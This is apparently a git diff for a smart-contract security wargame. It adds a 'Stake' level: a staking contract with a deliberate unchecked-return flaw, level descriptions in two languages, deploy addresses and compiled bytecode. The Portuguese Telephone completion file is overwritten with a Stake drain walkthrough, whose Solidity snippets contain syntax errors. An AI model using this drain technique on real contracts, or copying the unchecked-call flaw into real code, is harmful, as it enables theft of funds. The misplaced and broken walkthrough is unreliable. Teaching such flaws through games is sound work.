diff --git a/.gitignore b/.gitignore
index a2bca6fbc..4955d2dcb 100644
--- a/.gitignore
+++ b/.gitignore
@@ -12,4 +12,4 @@ client/src/gamedata/deploy.local.json
.env
# Local Netlify folder
-.netlify
+.netlify
\ No newline at end of file
diff --git a/client/public/imgs/BigLevel31.svg b/client/public/imgs/BigLevel31.svg
new file mode 100644
index 000000000..82c262eb1
--- /dev/null
+++ b/client/public/imgs/BigLevel31.svg
@@ -0,0 +1,28 @@
+
diff --git a/client/public/imgs/Level31.svg b/client/public/imgs/Level31.svg
new file mode 100644
index 000000000..61f8c8f7d
--- /dev/null
+++ b/client/public/imgs/Level31.svg
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/client/public/imgs/levels-ai.zip b/client/public/imgs/levels-ai.zip
index 471405816..a8dfeef9e 100644
Binary files a/client/public/imgs/levels-ai.zip and b/client/public/imgs/levels-ai.zip differ
diff --git a/client/src/constants.js b/client/src/constants.js
index 3fd40a58b..fbffb4882 100644
--- a/client/src/constants.js
+++ b/client/src/constants.js
@@ -12,7 +12,7 @@ export const NETWORKS = {
UNDEFINED: undefined,
LOCAL: {
name: "local",
- id: "1337",
+ id: "31337",
url: "http://localhost",
port: 8545,
},
@@ -53,7 +53,7 @@ export const NETWORKS_INGAME = {
UNDEFINED: undefined,
LOCAL: {
name: "local",
- id: "1337",
+ id: "31337",
url: "http://localhost",
port: 8545,
},
diff --git a/client/src/gamedata/authors.json b/client/src/gamedata/authors.json
index e66d4952d..915bb278e 100644
--- a/client/src/gamedata/authors.json
+++ b/client/src/gamedata/authors.json
@@ -171,6 +171,17 @@
"https://github.com/fefeupz"
],
"donate": "0x00000000000d86e4837ba41dacde4b8713d5ccac"
+ },
+ "GustavoDeps":{
+ "name": [
+ "Gustavo Deps"
+ ],
+ "websites": [
+ "https://www.linkedin.com/in/gustavo-deps/"
+ ],
+ "emails": [
+ "gwdeps@omnesblockchain.tech"
+ ]
}
}
}
diff --git a/client/src/gamedata/deploy.holesky.json b/client/src/gamedata/deploy.holesky.json
index 6d31f087a..a3046fe45 100644
--- a/client/src/gamedata/deploy.holesky.json
+++ b/client/src/gamedata/deploy.holesky.json
@@ -29,7 +29,8 @@
"27": "0xC5e91F614a5D8b2bcBB062Dca27857EF32288ad5",
"28": "0x199E2090f6751B542861df7fCA58cB9144aF01eD",
"29": "0x1bFb120Ac1361ece092FC64BD8ECdb3244463071",
- "30": "x",
+ "30": "0x716747Fbc1FcE4c36F2B369F87aDB5D4580e807f",
+ "31": "0x32FFB8d4244B350F5D3E074e9b731A135531B975",
"ethernaut": "0xB877915d8Ba049e7cAFc1525F85CEc322A362767",
"implementation": "0x86C8eC9b2bE1600571183eE157C7eb3B96a5c3FF",
"proxyAdmin": "0x8f3189256cb686D0aCD642bAa3982Fda156fB01D",
diff --git a/client/src/gamedata/deploy.sepolia-arbitrum.json b/client/src/gamedata/deploy.sepolia-arbitrum.json
index e8858b806..655eef137 100644
--- a/client/src/gamedata/deploy.sepolia-arbitrum.json
+++ b/client/src/gamedata/deploy.sepolia-arbitrum.json
@@ -30,6 +30,7 @@
"28": "0x6A77737803b581B79D5323016f59DFbfE681b336",
"29": "0xd4e6B977d9Dea283797AaD71a09eC65DfdAc98f5",
"30": "0xA62fE5344FE62AdC1F356447B669E9E6D10abaaF",
+ "31": "0x7ae0655F0Ee1e7752D7C62493CEa1E69A810e2ed",
"ethernaut": "0xD991431D8b033ddCb84dAD257f4821E9d5b38C33",
"implementation": "0x42E7014a9D1f6765e76fA2e69532d808F2fe27E3",
"proxyAdmin": "0xBd886a37faD1f596221f33ca568122815ED48c81",
diff --git a/client/src/gamedata/deploy.sepolia-optimism.json b/client/src/gamedata/deploy.sepolia-optimism.json
index f86dcfbdc..4b078bada 100644
--- a/client/src/gamedata/deploy.sepolia-optimism.json
+++ b/client/src/gamedata/deploy.sepolia-optimism.json
@@ -30,6 +30,7 @@
"28": "0x2aa5685ffd9e8e4897caf92855C1959d82DA5E36",
"29": "0xDCa6065818935c33D6AF9AbDB7d5f679BB43508A",
"30": "0x5c7Fe23aeFc74E85E99EB8235807fE53bcC9c58f",
+ "31": "0x708f096A1AE25dD1b2De076fA90F5158bb01D209",
"ethernaut": "0xD991431D8b033ddCb84dAD257f4821E9d5b38C33",
"implementation": "0x50E1785EeE794253c5E33B8fE123e77124736e38",
"proxyAdmin": "0x492e18ddBd7591638453d2f1B1847F86711105C8",
diff --git a/client/src/gamedata/deploy.sepolia.json b/client/src/gamedata/deploy.sepolia.json
index eb885bf39..0c062a0f6 100644
--- a/client/src/gamedata/deploy.sepolia.json
+++ b/client/src/gamedata/deploy.sepolia.json
@@ -30,6 +30,7 @@
"28": "0x653239b3b3E67BC0ec1Df7835DA2d38761FfD882",
"29": "0xb2aBa0e156C905a9FAEc24805a009d99193E3E53",
"30": "0xd459773f02e53F6e91b0f766e42E495aEf26088F",
+ "31": "0xB99f27b94fCc8b9b6fF88e29E1741422DFC06224",
"ethernaut": "0xa3e7317E591D5A0F1c605be1b3aC4D2ae56104d6",
"implementation": "0x49662cAeF8386f84d99873c34280E24d3e742e4f",
"proxyAdmin": "0x545d848827bD9e0E30794a9E53f5ab04EA71d78a",
diff --git a/client/src/gamedata/en/descriptions/levels/stake.md b/client/src/gamedata/en/descriptions/levels/stake.md
new file mode 100644
index 000000000..58bf30e55
--- /dev/null
+++ b/client/src/gamedata/en/descriptions/levels/stake.md
@@ -0,0 +1,12 @@
+Stake is safe for staking native ETH and ERC20 WETH, considering the same 1:1 value of the tokens. Can you drain the contract?
+
+To complete this level, the contract state must meet the following conditions:
+
+* The `Stake` contract's ETH balance has to be greater than 0.
+* `totalStaked` must be greater than the `Stake` contract's ETH balance.
+* You must be a staker.
+* You staked balance must be 0.
+
+Things that might be useful:
+* [ERC-20](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md) specification.
+* [OpenZeppelin contracts](https://github.com/OpenZeppelin/openzeppelin-contracts)
diff --git a/client/src/gamedata/en/descriptions/levels/stake_complete.md b/client/src/gamedata/en/descriptions/levels/stake_complete.md
new file mode 100644
index 000000000..e3cbddd90
--- /dev/null
+++ b/client/src/gamedata/en/descriptions/levels/stake_complete.md
@@ -0,0 +1,5 @@
+Congratulations, you have cracked the `Stake` machine!
+
+When performing low-level calls to external contracts, it is important to properly validate external call returns to determine whether the call reverted.
+
+For more info, check out [EEA EthTrust [S] Check External Calls Return](https://entethalliance.github.io/eta-registry/security-levels-spec.html#req-1-check-return) requirement, and always use [SafeERC20](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol) when interacting with external ERC-20 tokens.
\ No newline at end of file
diff --git a/client/src/gamedata/gamedata.json b/client/src/gamedata/gamedata.json
index 8612e6c25..c9ff4c9ad 100644
--- a/client/src/gamedata/gamedata.json
+++ b/client/src/gamedata/gamedata.json
@@ -481,6 +481,21 @@
"compilerVersion": "v0.6.12+commit.27d51765",
"runs": "1000"
}
+ },
+ {
+ "name": "Stake",
+ "created": "2024-04-13",
+ "difficulty": "6",
+ "description": "stake.md",
+ "completedDescription": "stake_complete.md",
+ "levelContract": "StakeFactory.sol",
+ "instanceContract": "Stake.sol",
+ "revealCode": true,
+ "deployParams": [],
+ "deployFunds": 0,
+ "deployId": "31",
+ "instanceGas": 750000,
+ "author": "GustavoDeps"
}
]
}
diff --git a/client/src/gamedata/pt_br/descriptions/levels/stake.md b/client/src/gamedata/pt_br/descriptions/levels/stake.md
new file mode 100644
index 000000000..44ab73684
--- /dev/null
+++ b/client/src/gamedata/pt_br/descriptions/levels/stake.md
@@ -0,0 +1,12 @@
+Stake é cofre para fazer stake de ETH nativo e ERC20 WETH, considerando o mesmo valor 1:1 dos tokens. Você pode drenar o contrato?
+
+Para completar este nível, o estado do contrato deve atender às seguintes condições:
+
+* O saldo em ETH do contrato `Stake` deve ser maior que 0.
+* `totalStaked` deve ser maior que o saldo em ETH do contrato `Stake`.
+* Você deve ser um staker.
+* Seu saldo estacado deve ser 0.
+
+Coisas que podem ser úteis:
+* A especificação [ERC20](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md)
+* Os contratos da [OpenZeppelin](https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts)
diff --git a/client/src/gamedata/pt_br/descriptions/levels/stake_complete.md b/client/src/gamedata/pt_br/descriptions/levels/stake_complete.md
new file mode 100644
index 000000000..c8a050eee
--- /dev/null
+++ b/client/src/gamedata/pt_br/descriptions/levels/stake_complete.md
@@ -0,0 +1,5 @@
+Parabéns, você conseguiu desvendar a máquina `Stake`!
+
+Ao realizar chamadas de baixo nível para contratos externos, é importante validar corretamente os retornos das chamadas externas para determinar se a chamada foi revertida.
+
+Para mais informações, confira o requisito [EEA EthTrust [S] Check External Calls Return](https://entethalliance.github.io/eta-registry/security-levels-spec.html#req-1-check-return), e sempre use [SafeERC20](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol) ao interagir com tokens externos ERC-20."
diff --git a/client/src/gamedata/pt_br/descriptions/levels/telephone_complete.md b/client/src/gamedata/pt_br/descriptions/levels/telephone_complete.md
index 9c50520db..0da583a02 100644
--- a/client/src/gamedata/pt_br/descriptions/levels/telephone_complete.md
+++ b/client/src/gamedata/pt_br/descriptions/levels/telephone_complete.md
@@ -1,22 +1,27 @@
-Embora este exemplo possa ser simples, confundir `tx.origin` com `msg.sender` pode levar a ataques do tipo phishing, como [este](https://blog.ethereum.org/2016/06/24/security-alert-smart-contract-wallets-created-in-frontier-are-vulnerable-to-phishing-attacks/).
+Embora este exemplo sejá bem simples, podemos esquecer de checar o retorno `success bool` quando realizamos chamadas externas, neste caso de `transfer` para saber se a mesma ocorreu da forma que deveria, como [este](https://github.com/crytic/slither/wiki/Detector-Documentation#unchecked-transfer)
Um exemplo de um possível ataque é descrito abaixo.
-1) Use `tx.origin` para determinar de quem os tokens serão transferidos, por exemplo:
+1) Use `ERC(Stake.WETH()).approve(address(Stake), 1 ether)` para determinar de o contrato pode transferir os tokens que você "possui"
+
+2) Agora use a função `Stake.StakeWETH(uint256 amount)` com qualquer valor para amount que seja maior que o `Stake.balance` e veja seus `UserStake` points subirem sem haver transferido quaiquer fundos e extraia através de `Unstake(uint256 amount)` com amount igual a `Stake.balance` e veja o ETH indo para sua carteira, por exemplo:
```
-function transfer(address _to, uint _value) {
- tokens[tx.origin] -= _value;
- tokens[_to] += _value;
+function () payable {
+ ERC20(Stake.WETH).approve(stakeAddress, 1000000000000000000);
+ Stake.StakeWETH(1000000000000000000);
+ Stake.Unstake(Stake.balance);
}
```
-2) O hacker faz com que a vítima envie fundos para um contrato malicioso que chama a função de transferência do contrato de token, por exemplo:
+3) Nesse cenário, `UserStake[attackerContractAddress]` será maior que o valor transferido ao contrato, permitindo que a função `Unstake(uint256 amount)` seja chamada, adicione também uma transferência dos fundos para a sua wallet, assim os fundos irão para a sua wallet e o contrato será drenado, por exemplo:
```
function () payable {
- token.transfer(attackerAddress, 10000);
+ ERC20(Stake.WETH).approve(stakeAddress, 1000000000000000000);
+ Stake.StakeWETH(1000000000000000000);
+ Stake.Unstake(Stake.balance);
+ (bool success, bytes memory return) = payable(msg.sender).call{value: address(this).balance}("")
+ require (success)
}
-```
-
-3) Nesse cenário, `tx.origin` será o endereço da vítima (enquanto `msg.sender` será o endereço do contrato malicioso), resultando na transferência de fundos da vítima para o hacker.
\ No newline at end of file
+```
\ No newline at end of file
diff --git a/client/src/middlewares/setNetwork.js b/client/src/middlewares/setNetwork.js
index 667a468cf..05a98dafe 100644
--- a/client/src/middlewares/setNetwork.js
+++ b/client/src/middlewares/setNetwork.js
@@ -35,7 +35,7 @@ const setNetwork = store => next => action => {
export function onPredeployedNetwork(id) {
let onRightNetwork = false;
- let allNetworkIds = Object.keys(constants.ID_TO_NETWORK).filter(id => constants.ID_TO_NETWORK[id] !== constants.NETWORKS.LOCAL.name).map((key) => Number(key))
+ let allNetworkIds = Object.keys(constants.ID_TO_NETWORK).map((key) => Number(key))
onRightNetwork = allNetworkIds.includes(Number(id));
return onRightNetwork;
}
diff --git a/contracts/out/Stake.sol/Stake.json b/contracts/out/Stake.sol/Stake.json
new file mode 100644
index 000000000..97818b204
--- /dev/null
+++ b/contracts/out/Stake.sol/Stake.json
@@ -0,0 +1 @@
+{"abi":[{"type":"constructor","inputs":[{"name":"_weth","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"StakeETH","inputs":[],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"StakeWETH","inputs":[{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"Stakers","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"Unstake","inputs":[{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"UserStake","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"WETH","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"totalStaked","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"}],"bytecode":{"object":"0x60806040526040516107ec3803806107ec8339810160408190526100229161005c565b345f808282546100329190610089565b9091555050600380546001600160a01b0319166001600160a01b03929092169190911790556100ae565b5f6020828403121561006c575f80fd5b81516001600160a01b0381168114610082575f80fd5b9392505050565b808201808211156100a857634e487b7160e01b5f52601160045260245ffd5b92915050565b610731806100bb5f395ff3fe60806040526004361061006e575f3560e01c8063817b1cd21161004c578063817b1cd2146100e9578063ad5c4648146100fd578063ede85eb714610134578063f1f1db1e14610162575f80fd5b80636e35c7401461007257806378e7ed2f146100a65780637b233319146100b0575b5f80fd5b34801561007d575f80fd5b5061009161008c366004610632565b610181565b60405190151581526020015b60405180910390f35b6100ae610422565b005b3480156100bb575f80fd5b506100db6100ca366004610649565b60016020525f908152604090205481565b60405190815260200161009d565b3480156100f4575f80fd5b506100db5f5481565b348015610108575f80fd5b5060035461011c906001600160a01b031681565b6040516001600160a01b03909116815260200161009d565b34801561013f575f80fd5b5061009161014e366004610649565b60026020525f908152604090205460ff1681565b34801561016d575f80fd5b5061009161017c366004610632565b6104cb565b5f66038d7ea4c6800082116101dd5760405162461bcd60e51b815260206004820152600e60248201527f446f6e277420626520636865617000000000000000000000000000000000000060448201526064015b60405180910390fd5b600354604080513360248201523060448083019190915282518083039091018152606490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fdd62ed3e0000000000000000000000000000000000000000000000000000000017905290515f926001600160a01b03169161026491610676565b5f604051808303815f865af19150503d805f811461029d576040519150601f19603f3d011682016040523d82523d5f602084013e6102a2565b606091505b50915050826102b0826105b1565b10156102fe5760405162461bcd60e51b815260206004820181905260248201527f486f7720616d2049206d6f76696e67207468652066756e647320686f6e65793f60448201526064016101d4565b825f8082825461030e91906106cf565b9091555050335f90815260016020526040812080548592906103319084906106cf565b909155505060035460408051336024820152306044820152606480820187905282518083039091018152608490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd0000000000000000000000000000000000000000000000000000000017905290515f926001600160a01b0316916103c191610676565b5f604051808303815f865af19150503d805f81146103fa576040519150601f19603f3d011682016040523d82523d5f602084013e6103ff565b606091505b5050335f908152600260205260409020805460ff19166001179055949350505050565b66038d7ea4c6800034116104785760405162461bcd60e51b815260206004820152600e60248201527f446f6e277420626520636865617000000000000000000000000000000000000060448201526064016101d4565b345f8082825461048891906106cf565b9091555050335f90815260016020526040812080543492906104ab9084906106cf565b9091555050335f908152600260205260409020805460ff19166001179055565b335f908152600160205260408120548211156105295760405162461bcd60e51b815260206004820152600f60248201527f446f6e277420626520677265656479000000000000000000000000000000000060448201526064016101d4565b335f90815260016020526040812080548492906105479084906106e8565b92505081905550815f8082825461055e91906106e8565b90915550506040515f90339084908381818185875af1925050503d805f81146105a2576040519150601f19603f3d011682016040523d82523d5f602084013e6105a7565b606091505b5090949350505050565b5f60208251101561062a5760405162461bcd60e51b815260206004820152602560248201527f44617461206c656e677468206d757374206265206174206c656173742033322060448201527f627974657300000000000000000000000000000000000000000000000000000060648201526084016101d4565b506020015190565b5f60208284031215610642575f80fd5b5035919050565b5f60208284031215610659575f80fd5b81356001600160a01b038116811461066f575f80fd5b9392505050565b5f82515f5b81811015610695576020818601810151858301520161067b565b505f920191825250919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b808201808211156106e2576106e26106a2565b92915050565b818103818111156106e2576106e26106a256fea2646970667358221220c65c29ae014367df4445299bd1a81e485bac5be1083a3e141b3b6a0631dee96b64736f6c63430008170033","sourceMap":"56:1648:109:-:0;;;231:97;;;;;;;;;;;;;;;;;;:::i;:::-;290:9;275:11;;:24;;;;;;;:::i;:::-;;;;-1:-1:-1;;309:4:109;:12;;-1:-1:-1;;;;;;309:12:109;-1:-1:-1;;;;;309:12:109;;;;;;;;;;56:1648;;14:290:160;84:6;137:2;125:9;116:7;112:23;108:32;105:52;;;153:1;150;143:12;105:52;179:16;;-1:-1:-1;;;;;224:31:160;;214:42;;204:70;;270:1;267;260:12;204:70;293:5;14:290;-1:-1:-1;;;14:290:160:o;309:222::-;374:9;;;395:10;;;392:133;;;447:10;442:3;438:20;435:1;428:31;482:4;479:1;472:15;510:4;507:1;500:15;392:133;309:222;;;;:::o;:::-;56:1648:109;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x60806040526004361061006e575f3560e01c8063817b1cd21161004c578063817b1cd2146100e9578063ad5c4648146100fd578063ede85eb714610134578063f1f1db1e14610162575f80fd5b80636e35c7401461007257806378e7ed2f146100a65780637b233319146100b0575b5f80fd5b34801561007d575f80fd5b5061009161008c366004610632565b610181565b60405190151581526020015b60405180910390f35b6100ae610422565b005b3480156100bb575f80fd5b506100db6100ca366004610649565b60016020525f908152604090205481565b60405190815260200161009d565b3480156100f4575f80fd5b506100db5f5481565b348015610108575f80fd5b5060035461011c906001600160a01b031681565b6040516001600160a01b03909116815260200161009d565b34801561013f575f80fd5b5061009161014e366004610649565b60026020525f908152604090205460ff1681565b34801561016d575f80fd5b5061009161017c366004610632565b6104cb565b5f66038d7ea4c6800082116101dd5760405162461bcd60e51b815260206004820152600e60248201527f446f6e277420626520636865617000000000000000000000000000000000000060448201526064015b60405180910390fd5b600354604080513360248201523060448083019190915282518083039091018152606490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fdd62ed3e0000000000000000000000000000000000000000000000000000000017905290515f926001600160a01b03169161026491610676565b5f604051808303815f865af19150503d805f811461029d576040519150601f19603f3d011682016040523d82523d5f602084013e6102a2565b606091505b50915050826102b0826105b1565b10156102fe5760405162461bcd60e51b815260206004820181905260248201527f486f7720616d2049206d6f76696e67207468652066756e647320686f6e65793f60448201526064016101d4565b825f8082825461030e91906106cf565b9091555050335f90815260016020526040812080548592906103319084906106cf565b909155505060035460408051336024820152306044820152606480820187905282518083039091018152608490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd0000000000000000000000000000000000000000000000000000000017905290515f926001600160a01b0316916103c191610676565b5f604051808303815f865af19150503d805f81146103fa576040519150601f19603f3d011682016040523d82523d5f602084013e6103ff565b606091505b5050335f908152600260205260409020805460ff19166001179055949350505050565b66038d7ea4c6800034116104785760405162461bcd60e51b815260206004820152600e60248201527f446f6e277420626520636865617000000000000000000000000000000000000060448201526064016101d4565b345f8082825461048891906106cf565b9091555050335f90815260016020526040812080543492906104ab9084906106cf565b9091555050335f908152600260205260409020805460ff19166001179055565b335f908152600160205260408120548211156105295760405162461bcd60e51b815260206004820152600f60248201527f446f6e277420626520677265656479000000000000000000000000000000000060448201526064016101d4565b335f90815260016020526040812080548492906105479084906106e8565b92505081905550815f8082825461055e91906106e8565b90915550506040515f90339084908381818185875af1925050503d805f81146105a2576040519150601f19603f3d011682016040523d82523d5f602084013e6105a7565b606091505b5090949350505050565b5f60208251101561062a5760405162461bcd60e51b815260206004820152602560248201527f44617461206c656e677468206d757374206265206174206c656173742033322060448201527f627974657300000000000000000000000000000000000000000000000000000060648201526084016101d4565b506020015190565b5f60208284031215610642575f80fd5b5035919050565b5f60208284031215610659575f80fd5b81356001600160a01b038116811461066f575f80fd5b9392505050565b5f82515f5b81811015610695576020818601810151858301520161067b565b505f920191825250919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b808201808211156106e2576106e26106a2565b92915050565b818103818111156106e2576106e26106a256fea2646970667358221220c65c29ae014367df4445299bd1a81e485bac5be1083a3e141b3b6a0631dee96b64736f6c63430008170033","sourceMap":"56:1648:109:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;555:561;;;;;;;;;;-1:-1:-1;555:561:109;;;;;:::i;:::-;;:::i;:::-;;;364:14:160;;357:22;339:41;;327:2;312:18;555:561:109;;;;;;;;334:216;;;:::i;:::-;;110:44;;;;;;;;;;-1:-1:-1;110:44:109;;;;;:::i;:::-;;;;;;;;;;;;;;;;;851:25:160;;;839:2;824:18;110:44:109;705:177:160;78:26:109;;;;;;;;;;;;;;;;205:19;;;;;;;;;;-1:-1:-1;205:19:109;;;;-1:-1:-1;;;;;205:19:109;;;;;;-1:-1:-1;;;;;1051:55:160;;;1033:74;;1021:2;1006:18;205:19:109;887:226:160;160:39:109;;;;;;;;;;-1:-1:-1;160:39:109;;;;;:::i;:::-;;;;;;;;;;;;;;;;1122:298;;;;;;;;;;-1:-1:-1;1122:298:109;;;;;:::i;:::-;;:::i;555:561::-;606:4;639:11;629:6;:21;621:48;;;;-1:-1:-1;;;621:48:109;;1320:2:160;621:48:109;;;1302:21:160;1359:2;1339:18;;;1332:30;1398:16;1378:18;;;1371:44;1432:18;;621:48:109;;;;;;;;;707:4;;717:60;;;752:10;717:60;;;1696:34:160;771:4:109;1746:18:160;;;;1739:43;;;;717:60:109;;;;;;;;;;1608:18:160;;;;717:60:109;;;;;;;;;;;;;707:71;;-1:-1:-1;;;;;;;707:4:109;;:71;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;679:99;;;822:6;796:22;808:9;796:11;:22::i;:::-;:32;;788:76;;;;-1:-1:-1;;;788:76:109;;2412:2:160;788:76:109;;;2394:21:160;;;2431:18;;;2424:30;2490:34;2470:18;;;2463:62;2542:18;;788:76:109;2210:356:160;788:76:109;889:6;874:11;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;;915:10:109;905:21;;;;:9;:21;;;;;:31;;930:6;;905:21;:31;;930:6;;905:31;:::i;:::-;;;;-1:-1:-1;;968:4:109;;978:67;;;1013:10;978:67;;;3153:34:160;1032:4:109;3203:18:160;;;3196:43;3255:18;;;;3248:34;;;978:67:109;;;;;;;;;;3065:18:160;;;;978:67:109;;;;;;;;;;;;;968:78;;-1:-1:-1;;;;;;;968:4:109;;:78;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1064:10:109;1056:19;;;;:7;:19;;;;;:26;;-1:-1:-1;;1056:26:109;1078:4;1056:26;;;946:100;555:561;-1:-1:-1;;;;555:561:109:o;334:216::-;399:11;387:9;:23;379:50;;;;-1:-1:-1;;;379:50:109;;1320:2:160;379:50:109;;;1302:21:160;1359:2;1339:18;;;1332:30;1398:16;1378:18;;;1371:44;1432:18;;379:50:109;1118:338:160;379:50:109;454:9;439:11;;:24;;;;;;;:::i;:::-;;;;-1:-1:-1;;483:10:109;473:21;;;;:9;:21;;;;;:34;;498:9;;473:21;:34;;498:9;;473:34;:::i;:::-;;;;-1:-1:-1;;525:10:109;517:19;;;;:7;:19;;;;;:26;;-1:-1:-1;;517:26:109;539:4;517:26;;;334:216::o;1122:298::-;1204:10;1171:4;1194:21;;;:9;:21;;;;;;:31;-1:-1:-1;1194:31:109;1186:58;;;;-1:-1:-1;;;1186:58:109;;3495:2:160;1186:58:109;;;3477:21:160;3534:2;3514:18;;;3507:30;3573:17;3553:18;;;3546:45;3608:18;;1186:58:109;3293:339:160;1186:58:109;1264:10;1254:21;;;;:9;:21;;;;;:31;;1279:6;;1254:21;:31;;1279:6;;1254:31;:::i;:::-;;;;;;;;1310:6;1295:11;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;;1345:44:109;;1327:12;;1353:10;;1378:6;;1327:12;1345:44;1327:12;1345:44;1378:6;1353:10;1345:44;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1326:63:109;;1122:298;-1:-1:-1;;;;1122:298:109:o;1425:277::-;1488:7;1530:2;1515:4;:11;:17;;1507:67;;;;-1:-1:-1;;;1507:67:109;;4182:2:160;1507:67:109;;;4164:21:160;4221:2;4201:18;;;4194:30;4260:34;4240:18;;;4233:62;4331:7;4311:18;;;4304:35;4356:19;;1507:67:109;3980:401:160;1507:67:109;-1:-1:-1;1657:4:109;1647:15;1641:22;;1425:277::o;14:180:160:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;-1:-1:-1;165:23:160;;14:180;-1:-1:-1;14:180:160:o;391:309::-;450:6;503:2;491:9;482:7;478:23;474:32;471:52;;;519:1;516;509:12;471:52;558:9;545:23;-1:-1:-1;;;;;601:5:160;597:54;590:5;587:65;577:93;;666:1;663;656:12;577:93;689:5;391:309;-1:-1:-1;;;391:309:160:o;1793:412::-;1922:3;1960:6;1954:13;1985:1;1995:129;2009:6;2006:1;2003:13;1995:129;;;2107:4;2091:14;;;2087:25;;2081:32;2068:11;;;2061:53;2024:12;1995:129;;;-1:-1:-1;2179:1:160;2143:16;;2168:13;;;-1:-1:-1;2143:16:160;1793:412;-1:-1:-1;1793:412:160:o;2571:184::-;2623:77;2620:1;2613:88;2720:4;2717:1;2710:15;2744:4;2741:1;2734:15;2760:125;2825:9;;;2846:10;;;2843:36;;;2859:18;;:::i;:::-;2760:125;;;;:::o;3637:128::-;3704:9;;;3725:11;;;3722:37;;;3739:18;;:::i","linkReferences":{}},"methodIdentifiers":{"StakeETH()":"78e7ed2f","StakeWETH(uint256)":"6e35c740","Stakers(address)":"ede85eb7","Unstake(uint256)":"f1f1db1e","UserStake(address)":"7b233319","WETH()":"ad5c4648","totalStaked()":"817b1cd2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.23+commit.f704f362\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_weth\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"StakeETH\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"StakeWETH\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"Stakers\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"Unstake\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"UserStake\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"WETH\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalStaked\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Stake.sol\":\"Stake\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Stake.sol\":{\"keccak256\":\"0x7e120dc6fa37762e3d4c3dccc143fa20317a8a188cda3ccda9347e3